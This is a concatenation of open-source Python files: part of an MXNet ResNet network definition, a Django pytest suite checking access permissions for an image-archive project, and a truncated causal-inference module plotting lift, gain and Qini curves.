+ shortcut, act_type=act_type, name=name + '_relu3') def residual_unit_v1_L(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs): """Return ResNet Unit symbol for building ResNet Parameters ---------- data : str Input data num_filter : int Number of output channels bnf : int Bottle neck channels factor with regard to num_filter stride : tuple Stride used in convolution dim_match : Boolean True means channel number between input and output is the same, otherwise means differ name : str Base name of the operators workspace : int Workspace used in convolution operator """ use_se = kwargs.get('version_se', 1) bn_mom = kwargs.get('bn_mom', 0.9) workspace = kwargs.get('workspace', 256) memonger = kwargs.get('memonger', False) act_type = kwargs.get('version_act', 'prelu') #print('in unit1') if bottle_neck: conv1 = Conv(data=data, num_filter=int(num_filter*0.25), kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv1') bn1 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn1') act1 = Act(data=bn1, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_filter=int(num_filter*0.25), kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn2 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn2') act2 = Act(data=bn2, act_type=act_type, name=name + '_relu2') conv3 = Conv(data=act2, num_filter=num_filter, kernel=(1,1), stride=stride, pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv3') bn3 = mx.sym.BatchNorm(data=conv3, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn3') if use_se: #se begin body = mx.sym.Pooling(data=bn3, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn3 = mx.symbol.broadcast_mul(bn3, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return Act(data=bn3 + shortcut, act_type=act_type, name=name + '_relu3') else: conv1 = Conv(data=data, num_filter=num_filter, kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv1') bn1 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_bn1') act1 = Act(data=bn1, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_filter=num_filter, kernel=(3,3), stride=stride, pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn2 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_bn2') if use_se: #se begin body = mx.sym.Pooling(data=bn2, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn2 = mx.symbol.broadcast_mul(bn2, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return Act(data=bn2 + shortcut, act_type=act_type, name=name + '_relu3') def residual_unit_v2(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs): """Return ResNet Unit symbol for building ResNet Parameters ---------- data : str Input data num_filter : int Number of output channels bnf : int Bottle neck channels factor with regard to num_filter stride : tuple Stride used in convolution dim_match : Boolean True means channel number between input and output is the same, otherwise means differ name : str Base name of the operators workspace : int Workspace used in convolution operator """ use_se = kwargs.get('version_se', 1) bn_mom = kwargs.get('bn_mom', 0.9) workspace = kwargs.get('workspace', 256) memonger = kwargs.get('memonger', False) act_type = kwargs.get('version_act', 'prelu') #print('in unit2') if bottle_neck: # the same as https://github.com/facebook/fb.resnet.torch#notes, a bit difference with origin paper bn1 = mx.sym.BatchNorm(data=data, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn1') act1 = Act(data=bn1, act_type=act_type, name=name + '_relu1') conv1 = Conv(data=act1, num_filter=int(num_filter*0.25), kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv1') bn2 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn2') act2 = Act(data=bn2, act_type=act_type, name=name + '_relu2') conv2 = Conv(data=act2, num_filter=int(num_filter*0.25), kernel=(3,3), stride=stride, pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn3 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn3') act3 = Act(data=bn3, act_type=act_type, name=name + '_relu3') conv3 = Conv(data=act3, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv3') if use_se: #se begin body = mx.sym.Pooling(data=conv3, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") conv3 = mx.symbol.broadcast_mul(conv3, body) if dim_match: shortcut = data else: shortcut = Conv(data=act1, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_sc') if memonger: shortcut._set_attr(mirror_stage='True') return conv3 + shortcut else: bn1 = mx.sym.BatchNorm(data=data, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_bn1') act1 = Act(data=bn1, act_type=act_type, name=name + '_relu1') conv1 = Conv(data=act1, num_filter=num_filter, kernel=(3,3), stride=stride, pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv1') bn2 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_bn2') act2 = Act(data=bn2, act_type=act_type, name=name + '_relu2') conv2 = Conv(data=act2, num_filter=num_filter, kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') if use_se: #se begin body = mx.sym.Pooling(data=conv2, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") conv2 = mx.symbol.broadcast_mul(conv2, body) if dim_match: shortcut = data else: shortcut = Conv(data=act1, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_sc') if memonger: shortcut._set_attr(mirror_stage='True') return conv2 + shortcut def residual_unit_v3(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs): """Return ResNet Unit symbol for building ResNet Parameters ---------- data : str Input data num_filter : int Number of output channels bnf : int Bottle neck channels factor with regard to num_filter stride : tuple Stride used in convolution dim_match : Boolean True means channel number between input and output is the same, otherwise means differ name : str Base name of the operators workspace : int Workspace used in convolution operator """ use_se = kwargs.get('version_se', 1) bn_mom = kwargs.get('bn_mom', 0.9) workspace = kwargs.get('workspace', 256) memonger = kwargs.get('memonger', False) act_type = kwargs.get('version_act', 'prelu') #print('in unit3') if bottle_neck: bn1 = mx.sym.BatchNorm(data=data, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn1') conv1 = Conv(data=bn1, num_filter=int(num_filter*0.25), kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv1') bn2 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn2') act1 = Act(data=bn2, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_filter=int(num_filter*0.25), kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn3 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn3') act2 = Act(data=bn3, act_type=act_type, name=name + '_relu2') conv3 = Conv(data=act2, num_filter=num_filter, kernel=(1,1), stride=stride, pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv3') bn4 = mx.sym.BatchNorm(data=conv3, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn4') if use_se: #se begin body = mx.sym.Pooling(data=bn4, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn4 = mx.symbol.broadcast_mul(bn4, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return bn4 + shortcut else: bn1 = mx.sym.BatchNorm(data=data, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn1') conv1 = Conv(data=bn1, num_filter=num_filter, kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv1') bn2 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn2') act1 = Act(data=bn2, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_filter=num_filter, kernel=(3,3), stride=stride, pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn3 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn3') if use_se: #se begin body = mx.sym.Pooling(data=bn3, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn3 = mx.symbol.broadcast_mul(bn3, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, momentum=bn_mom, eps=2e-5, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return bn3 + shortcut def residual_unit_v3_x(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs): """Return ResNeXt Unit symbol for building ResNeXt Parameters ---------- data : str Input data num_filter : int Number of output channels bnf : int Bottle neck channels factor with regard to num_filter stride : tuple Stride used in convolution dim_match : Boolean True means channel number between input and output is the same, otherwise means differ name : str Base name of the operators workspace : int Workspace used in convolution operator """ assert(bottle_neck) use_se = kwargs.get('version_se', 1) bn_mom = kwargs.get('bn_mom', 0.9) workspace = kwargs.get('workspace', 256) memonger = kwargs.get('memonger', False) act_type = kwargs.get('version_act', 'prelu') num_group = 32 #print('in unit3') bn1 = mx.sym.BatchNorm(data=data, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn1') conv1 = Conv(data=bn1, num_group=num_group, num_filter=int(num_filter*0.5), kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv1') bn2 = mx.sym.BatchNorm(data=conv1, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn2') act1 = Act(data=bn2, act_type=act_type, name=name + '_relu1') conv2 = Conv(data=act1, num_group=num_group, num_filter=int(num_filter*0.5), kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, workspace=workspace, name=name + '_conv2') bn3 = mx.sym.BatchNorm(data=conv2, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn3') act2 = Act(data=bn3, act_type=act_type, name=name + '_relu2') conv3 = Conv(data=act2, num_filter=num_filter, kernel=(1,1), stride=stride, pad=(0,0), no_bias=True, workspace=workspace, name=name + '_conv3') bn4 = mx.sym.BatchNorm(data=conv3, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_bn4') if use_se: #se begin body = mx.sym.Pooling(data=bn4, global_pool=True, kernel=(7, 7), pool_type='avg', name=name+'_se_pool1') body = Conv(data=body, num_filter=num_filter//16, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv1", workspace=workspace) body = Act(data=body, act_type=act_type, name=name+'_se_relu1') body = Conv(data=body, num_filter=num_filter, kernel=(1,1), stride=(1,1), pad=(0,0), name=name+"_se_conv2", workspace=workspace) body = mx.symbol.Activation(data=body, act_type='sigmoid', name=name+"_se_sigmoid") bn4 = mx.symbol.broadcast_mul(bn4, body) #se end if dim_match: shortcut = data else: conv1sc = Conv(data=data, num_filter=num_filter, kernel=(1,1), stride=stride, no_bias=True, workspace=workspace, name=name+'_conv1sc') shortcut = mx.sym.BatchNorm(data=conv1sc, fix_gamma=False, eps=2e-5, momentum=bn_mom, name=name + '_sc') if memonger: shortcut._set_attr(mirror_stage='True') return bn4 + shortcut def residual_unit(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs): uv = kwargs.get('version_unit', 3) version_input = kwargs.get('version_input', 1) if uv==1: if version_input==0: return residual_unit_v1(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs) else: return residual_unit_v1_L(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs) elif uv==2: return residual_unit_v2(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs) elif uv==4: return residual_unit_v4(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs) else: return residual_unit_v3(data, num_filter, stride, dim_match, name, bottle_neck, **kwargs) def resnet(units, num_stages, filter_list, num_classes, bottle_neck): bn_mom = config.bn_mom workspace = config.workspace kwargs = {'version_se' : config.net_se, 'version_input': config.net_input, 'version_output': config.net_output, 'version_unit': config.net_unit, 'version_act': config.net_act, 'bn_mom': bn_mom, 'workspace': workspace, 'memonger': config.memonger, } """Return ResNet symbol of Parameters ---------- units : list Number of units in each stage num_stages : int Number of stage filter_list : list Channel size of each stage num_classes : int Ouput size of symbol dataset : str Dataset type, only cifar10 and imagenet supports workspace : int Workspace used in convolution operator """ version_se = kwargs.get('version_se', 1) version_input = kwargs.get('version_input', 1) assert version_input>=0 version_output = kwargs.get('version_output', 'E') fc_type = version_output version_unit = kwargs.get('version_unit', 3) act_type = kwargs.get('version_act', 'prelu') memonger = kwargs.get('memonger', False) print(version_se, version_input, version_output, version_unit, act_type, memonger) num_unit = len(units) assert(num_unit == num_stages) data = mx.sym.Variable(name='data') if version_input==0: #data = mx.sym.BatchNorm(data=data, fix_gamma=True, eps=2e-5, momentum=bn_mom, name='bn_data') data = mx.sym.identity(data=data, name='id') data = data-127.5 data = data*0.0078125 body = Conv(data=data, num_filter=filter_list[0], kernel=(7, 7), stride=(2,2), pad=(3, 3), no_bias=True, name="conv0", workspace=workspace) body = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name='bn0') body = Act(data=body, act_type=act_type, name='relu0') #body = mx.sym.Pooling(data=body, kernel=(3, 3), stride=(2,2), pad=(1,1), pool_type='max') elif version_input==2: data = mx.sym.BatchNorm(data=data, fix_gamma=True, eps=2e-5, momentum=bn_mom, name='bn_data') body = Conv(data=data, num_filter=filter_list[0], kernel=(3,3), stride=(1,1), pad=(1,1), no_bias=True, name="conv0", workspace=workspace) body = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name='bn0') body = Act(data=body, act_type=act_type, name='relu0') else: data = mx.sym.identity(data=data, name='id') data = data-127.5 data = data*0.0078125 body = data body = Conv(data=body, num_filter=filter_list[0], kernel=(7,7), stride=(2,2), pad=(1, 1), no_bias=True, name="conv0", workspace=workspace) body = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name='bn0') body = Act(data=body, act_type=act_type, name='relu0') for i in range(num_stages): #if version_input==0: # body = residual_unit(body, filter_list[i+1], (1 if i==0 else 2, 1 if i==0 else 2), False, # name='stage%d_unit%d' % (i + 1, 1), bottle_neck=bottle_neck, **kwargs) #else: # body = residual_unit(body, filter_list[i+1], (2, 2), False, # name='stage%d_unit%d' % (i + 1, 1), bottle_neck=bottle_neck, **kwargs) body = residual_unit(body, filter_list[i+1], (2, 2), False, name='stage%d_unit%d' % (i + 1, 1), bottle_neck=bottle_neck, **kwargs) for j in range(units[i]-1): body = residual_unit(body, filter_list[i+1], (1,1), True, name='stage%d_unit%d' % (i+1, j+2), bottle_neck=bottle_neck, **kwargs) if bottle_neck: body = Conv(data=body, num_filter=512, kernel=(1,1), stride=(1,1), pad=(0,0), no_bias=True, name="convd", workspace=workspace) body = mx.sym.BatchNorm(data=body, fix_gamma=False, eps=2e-5, momentum=bn_mom, name='bnd') body = Act(data=body, act_type=act_type, name='relud') fc1 = symbol_utils.get_fc1(body, num_classes, fc_type) return fc1 def get_symbol(): """ Adapted from https://github.com/tornadomeet/ResNet/blob/master/train_resnet.py Original author Wei Wu """ num_classes = config.emb_size num_layers = config.num_layers if num_layers >= 500: filter_list = [64, 256, 512, 1024, 2048] bottle_neck = True else: filter_list = [64, 64, 128, 256, 512] bottle_neck = False num_stages = 4 if num_layers == 18: units = [2, 2, 2, 2] elif num_layers == 34: units = [3, 4, 6, 3] elif num_layers == 49: units = [3, 4, 14, 3] elif num_layers == 50: units = [3, 4, 14, 3] elif num_layers == 74: units = [3, 6, 24, 3] elif num_layers == 90: units = [3, 8, 30, 3] elif num_layers == 98: units = [3, 4, 38, 3] elif num_layers == 99: units = [3, 8, 35, 3] elif num_layers == 100: units = [3, 13, 30, 3] elif num_layers == 134: units = [3, 10, 50, 3] elif num_layers == 136: units = [3, 13, 48, 3] elif num_layers == 140: units = [3, 15, 48, 3] elif num_layers == 124: units = [3, 13, 40, 5] elif num_layers == 160: units = [3, 24, 49, 3] elif num_layers == 101: units = [3, 4, 23, 3] elif num_layers == 152: units = [3, 8, 36, 3] elif num_layers == 200: units = [3, 24, 36, 3] elif num_layers == 269: units = [3, 30, 48, 8] else: raise ValueError("no experiments done on num_layers {}, you can do it yourself".format(num_layers)) net = resnet(units = units, num_stages = num_stages, filter_list = filter_list, num_classes = num_classes, bottle_neck = bottle_neck) if config.memonger: dshape = (config.per_batch_size, config.image_shape[2], config.image_shape[0], config.image_shape[1]) net_mem_planned = memonger.search_plan(net, data=dshape) old_cost = memonger.get_cost(net, data=dshape) new_cost = memonger.get_cost(net_mem_planned, data=dshape) print('Old feature map cost=%d MB' % old_cost) print('New feature map cost=%d MB' % new_cost) net = net_mem_planned return net

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8a1110f3dc64ccdaef7a1555b9cbcf9cf6d139ec

2,519

py

Python

isic/core/tests/test_permissions.py

ImageMarkup/isic

607b2b103d0d2a67adb61f8ea88f1461c85ec8f3

[ "Apache-2.0" ]

null

isic/core/tests/test_permissions.py

ImageMarkup/isic

607b2b103d0d2a67adb61f8ea88f1461c85ec8f3

[ "Apache-2.0" ]

18

2021-06-10T05:14:34.000Z

2022-03-22T02:15:59.000Z

isic/core/tests/test_permissions.py

ImageMarkup/isic

607b2b103d0d2a67adb61f8ea88f1461c85ec8f3

[ "Apache-2.0" ]

null

from django.urls.base import reverse import pytest from pytest_django.asserts import assertQuerysetEqual @pytest.mark.django_db def test_core_stats(client): r = client.get(reverse('core/stats')) assert r.status_code == 200 @pytest.mark.django_db def test_core_api_stats(client): r = client.get(reverse('core/api/stats')) assert r.status_code == 200 @pytest.mark.django_db def test_core_staff_list(client, authenticated_client, staff_client): r = client.get(reverse('core/staff-list')) assert r.status_code == 302 r = authenticated_client.get(reverse('core/staff-list')) assert r.status_code == 403 r = staff_client.get(reverse('core/staff-list')) assert r.status_code == 200 @pytest.mark.django_db def test_core_collection_list(client, authenticated_client, staff_client, private_collection): r = client.get(reverse('core/collection-list')) assertQuerysetEqual(r.context['collections'].object_list, []) r = authenticated_client.get(reverse('core/collection-list')) assertQuerysetEqual(r.context['collections'].object_list, []) r = staff_client.get(reverse('core/collection-list')) assertQuerysetEqual(r.context['collections'].object_list, [private_collection]) @pytest.mark.django_db def test_core_collection_detail(client, authenticated_client, staff_client, private_collection): r = client.get(reverse('core/collection-detail', args=[private_collection.pk])) assert r.status_code == 302 r = authenticated_client.get(reverse('core/collection-detail', args=[private_collection.pk])) assert r.status_code == 403 r = staff_client.get(reverse('core/collection-detail', args=[private_collection.pk])) assert r.status_code == 200 @pytest.mark.django_db def test_core_collection_detail_filters_contributors( client, authenticated_client, staff_client, public_collection, image_factory ): image = image_factory(public=True) public_collection.images.add(image) r = client.get(reverse('core/collection-detail', args=[public_collection.pk])) assert r.status_code == 200 assert list(r.context['contributors']) == [] r = authenticated_client.get(reverse('core/collection-detail', args=[public_collection.pk])) assert r.status_code == 200 assert list(r.context['contributors']) == [] r = staff_client.get(reverse('core/collection-detail', args=[public_collection.pk])) assert r.status_code == 200 assert list(r.context['contributors']) == [image.accession.cohort.contributor]

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null

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6

8a3a1a84f8c5fe040e093def84496da5d902ecf3

15,828

py

Python

causalml/metrics/visualize.py

LeihuaYe/causalml

900df2de0e5a3e999c290f5849c2cb3367f5ad5a

[ "Apache-2.0" ]

1

2019-12-29T03:05:10.000Z

causalml/metrics/visualize.py

CZZLEGEND/causalml

900df2de0e5a3e999c290f5849c2cb3367f5ad5a

[ "Apache-2.0" ]

null

causalml/metrics/visualize.py

CZZLEGEND/causalml

900df2de0e5a3e999c290f5849c2cb3367f5ad5a

[ "Apache-2.0" ]

null

from matplotlib import pyplot as plt import numpy as np import pandas as pd import seaborn as sns plt.style.use('fivethirtyeight') sns.set_palette("Paired") RANDOM_COL = 'Random' def plot(df, kind='gain', n=100, figsize=(8, 8), *args, **kwarg): """Plot one of the lift/gain/Qini charts of model estimates. A factory method for `plot_lift()`, `plot_gain()` and `plot_qini()`. For details, pleas see docstrings of each function. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns. kind (str, optional): the kind of plot to draw. 'lift', 'gain', and 'qini' are supported. n (int, optional): the number of samples to be used for plotting. """ catalog = {'lift': get_cumlift, 'gain': get_cumgain, 'qini': get_qini} assert kind in catalog.keys(), '{} plot is not implemented. Select one of {}'.format(kind, catalog.keys()) df = catalog[kind](df, *args, **kwarg) if (n is not None) and (n < df.shape[0]): df = df.iloc[np.linspace(0, df.index[-1], n, endpoint=True)] df.plot(figsize=figsize) plt.xlabel('Population') plt.ylabel('{}'.format(kind.title())) def get_cumlift(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', random_seed=42): """Get average uplifts of model estimates in cumulative population. If the true treatment effect is provided (e.g. in synthetic data), it's calculated as the mean of the true treatment effect in each of cumulative population. Otherwise, it's calculated as the difference between the mean outcomes of the treatment and control groups in each of cumulative population. For details, see Section 4.1 of Gutierrez and G{\'e}rardy (2016), `Causal Inference and Uplift Modeling: A review of the literature`. For the former, `treatment_effect_col` should be provided. For the latter, both `outcome_col` and `treatment_col` should be provided. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect random_seed (int, optional): random seed for numpy.random.rand() Returns: (pandas.DataFrame): average uplifts of model estimates in cumulative population """ assert ((outcome_col in df.columns) and (treatment_col in df.columns) or treatment_effect_col in df.columns) df = df.copy() np.random.seed(random_seed) random_cols = [] for i in range(10): random_col = '__random_{}__'.format(i) df[random_col] = np.random.rand(df.shape[0]) random_cols.append(random_col) model_names = [x for x in df.columns if x not in [outcome_col, treatment_col, treatment_effect_col]] lift = [] for i, col in enumerate(model_names): df = df.sort_values(col, ascending=False).reset_index(drop=True) df.index = df.index + 1 if treatment_effect_col in df.columns: # When treatment_effect_col is given, use it to calculate the average treatment effects # of cumulative population. lift.append(df[treatment_effect_col].cumsum() / df.index) else: # When treatment_effect_col is not given, use outcome_col and treatment_col # to calculate the average treatment_effects of cumulative population. df['cumsum_tr'] = df[treatment_col].cumsum() df['cumsum_ct'] = df.index.values - df['cumsum_tr'] df['cumsum_y_tr'] = (df[outcome_col] * df[treatment_col]).cumsum() df['cumsum_y_ct'] = (df[outcome_col] * (1 - df[treatment_col])).cumsum() lift.append(df['cumsum_y_tr'] / df['cumsum_tr'] - df['cumsum_y_ct'] / df['cumsum_ct']) lift = pd.concat(lift, join='inner', axis=1) lift.loc[0] = np.zeros((lift.shape[1], )) lift = lift.sort_index().interpolate() lift.columns = model_names lift[RANDOM_COL] = lift[random_cols].mean(axis=1) lift.drop(random_cols, axis=1, inplace=True) return lift def get_cumgain(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', normalize=False, random_seed=42): """Get cumulative gains of model estimates in population. If the true treatment effect is provided (e.g. in synthetic data), it's calculated as the cumulative gain of the true treatment effect in each population. Otherwise, it's calculated as the cumulative difference between the mean outcomes of the treatment and control groups in each population. For details, see Section 4.1 of Gutierrez and G{\'e}rardy (2016), `Causal Inference and Uplift Modeling: A review of the literature`. For the former, `treatment_effect_col` should be provided. For the latter, both `outcome_col` and `treatment_col` should be provided. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect normalize (bool, optional): whether to normalize the y-axis to 1 or not random_seed (int, optional): random seed for numpy.random.rand() Returns: (pandas.DataFrame): cumulative gains of model estimates in population """ lift = get_cumlift(df, outcome_col, treatment_col, treatment_effect_col, random_seed) # cumulative gain = cumulative lift x (# of population) gain = lift.mul(lift.index.values, axis=0) if normalize: gain = gain.div(gain.iloc[-1, :], axis=1) return gain def get_qini(df, outcome_col='y', treatment_col='w', treatment_effect_col='tau', normalize=False, random_seed=42): """Get Qini of model estimates in population. If the true treatment effect is provided (e.g. in synthetic data), it's calculated as the cumulative gain of the true treatment effect in each population. Otherwise, it's calculated as the cumulative difference between the mean outcomes of the treatment and control groups in each population. For details, see Radcliffe (2007), `Using Control Group to Target on Predicted Lift: Building and Assessing Uplift Models` For the former, `treatment_effect_col` should be provided. For the latter, both `outcome_col` and `treatment_col` should be provided. Args: df (pandas.DataFrame): a data frame with model estimates and actual data as columns outcome_col (str, optional): the column name for the actual outcome treatment_col (str, optional): the column name for the treatment indicator (0 or 1) treatment_effect_col (str, optional): the column name for the true treatment effect normalize (bool, optional): whether to normalize the y-axis to 1 or not random_seed (int, optional): random seed for numpy.random.rand() Returns: (pandas.DataFrame): cumulative gains of model estimates in population """ assert ((outcome_col in df.columns) and (treatment_col in df.columns) or treatment_effect_col in df.columns) df = df.copy() np.random.seed(random_seed) random_cols = [] for i in range(10): random_col = '__random_{}__'.format(i) df[random_col] = np.random.rand(df.shape[0]) random_cols.append(random_col) model_names = [x for x in df.columns if x not in [outcome_col, treatment_col, treatment_effect_col]] qini = [] for i, col in enumerate(model_names): df = df.sort_values(col, ascending=False).reset_index(drop=True) df.index = df.index + 1 df['cumsum_tr'] = df[treatment_col].cumsum() if treatment_effect_col in df.columns: # When treatment_effect_col is given, use it to calculate the average treatment effects # of cumulative population. l = df[treatment_effect_col].cumsum() / df.index * df['cumsum_tr'] else: # When treatment_effect_col is not given, use outcome_col and treatment_col # to calculate the average treatment_effects of cumulative population. df['cumsum_ct'] = df.index.values - df['cumsum_tr'] df['cumsum_y_tr'] = (df[outcome_col] * df[treatment_col]).cumsum() df['cumsum_y_ct'] = (df[outcome_col] * (1 - df[treatment_col])).cumsum() l = df['cumsum_y_tr'] - df['cumsum_y_ct'] * df['cumsum_tr'] / df['cumsum_ct'] qini.append(l) qini = pd.concat(qini, join='inner', axis=1) qini.loc[0] = np.zeros((qini.shape[1], )) qini = qini.sort_index().interpolate() qini.columns = model_names qini[RANDOM_COL] = qini[random_cols].mean(axis=1) 